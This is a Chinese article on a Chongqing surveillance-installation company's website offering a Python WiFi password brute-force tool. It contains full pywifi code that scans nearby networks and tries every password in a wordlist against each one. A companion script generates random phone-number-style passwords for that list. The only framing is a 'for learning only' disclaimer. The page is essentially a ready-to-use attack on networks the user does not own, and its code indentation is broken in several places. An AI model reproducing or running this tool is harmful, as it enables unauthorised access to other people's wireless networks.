欢迎来到重庆监控安装公司官方网站!
您的位置: 重庆监控安装公司 - 安防百科 - Python地表最强wifi密码暴力破解工具

Python地表最强wifi密码暴力破解工具

来源:安防百科 / 时间: 2024-05-21

大家好!今天给你们带来了用python编写的wifi密码破解工具,仅供学习!

安装pywifi:

pip install pywifi

完整实例:

import pywifi
import time
from colorama import init, Fore
def get_wifi_names(iface):
    iface.scan()
    bessis = iface.scan_results()
    wifi_info = [(data.ssid.encode('latin1').decode('utf-8'), data.signal) for data in bessis if data.ssid]
    return wifi_info
def get_wifi_passwords():
    password_list = []
    with open('pass.txt', 'r') as file:
        for line in file:
            password_list.append(line.strip())
    return password_list
if __name__ == '__main__':
    init()
    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]
    wifi_info = get_wifi_names(iface)
    password_list = get_wifi_passwords()
print(Fore.YELLOW + 'Wi-Fi名称列表:')
    for i, (name, signal) in enumerate(wifi_info):
        print(Fore.CYAN + f'{i+1}. {name}  信号强度:{signal} dBm')
for name, signal in wifi_info:
        print(Fore.YELLOW + '正在尝试破解:'+name)
        for password in password_list:
            profile = pywifi.Profile()
            profile.ssid = name
            profile.auth = pywifi.const.AUTH_ALG_OPEN
            profile.akm.append(pywifi.const.AKM_TYPE_WPA2PSK)
            profile.cipher = pywifi.const.CIPHER_TYPE_CCMP
            profile.key = password
iface.remove_all_network_profiles()
            tmp_profile = iface.add_network_profile(profile)
            print(Fore.BLUE +"正在使用:"+password)
            iface.connect(tmp_profile)
            time.sleep(1)
            if iface.status() == pywifi.const.IFACE_CONNECTED:
                print(Fore.GREEN + f'成功连接到 Wi-Fi 网络:{name},密码:{password}')
                break
        else:
            print(Fore.RED + f'无法连接到 Wi-Fi 网络:{name}')

随机密码生成工具:

import random
def generate_random_phone_number():
    prefix_list = ['130', '131', '132', '133', '134', '135', '136', '137', '138', '139',
                   '150', '151', '152', '153', '155', '156', '157', '158', '159',
                   '170', '171', '172', '173', '175', '176', '177', '178',
                   '180', '181', '182', '183', '184', '185', '186', '187', '188', '189']
prefix = random.choice(prefix_list)
suffix = ''.join(random.choice('0123456789') for _ in range(8))
phone_number = prefix + suffix
    return phone_number
def generate_unique_phone_numbers(num):
    phone_numbers = set()
while len(phone_numbers) < num:
        phone_number = generate_random_phone_number()
        phone_numbers.add(phone_number)
return phone_numbers
def save_phone_numbers_to_file(phone_numbers, filename):
    with open(filename, 'w') as file:
        for number in phone_numbers:
            file.write(number + '\n')
if __name__ == '__main__':
    num_phone_numbers = 100
    unique_phone_numbers = generate_unique_phone_numbers(num_phone_numbers)
    save_phone_numbers_to_file(unique_phone_numbers, 'pass.txt')
    print("已生成"+str(num_phone_numbers)+"个密码!")

相关产品

在线客服
微信联系
客服
扫码加微信(手机同号)
电话咨询
返回顶部